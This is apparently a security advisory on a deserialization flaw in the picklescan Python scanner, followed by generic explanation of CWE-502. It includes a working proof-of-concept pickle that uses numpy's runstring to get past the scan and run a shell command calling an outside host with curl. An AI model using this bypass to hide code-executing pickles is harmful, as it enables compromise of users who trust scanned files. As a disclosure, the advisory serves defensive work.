Deserialization of Untrusted Data Affecting picklescan package, versions [,0.0.25)

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in scanner.py, which does not include numpy.testing._private.utils or other modules that can be leveraged for unintended command execution. An attacker can cause exec() to be invoked from inside a malicious pickle object by calling runstring in it, and then convincing a user to execute the apparently non-dangerous payload after it passes a scan.

import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

• GitHub Commit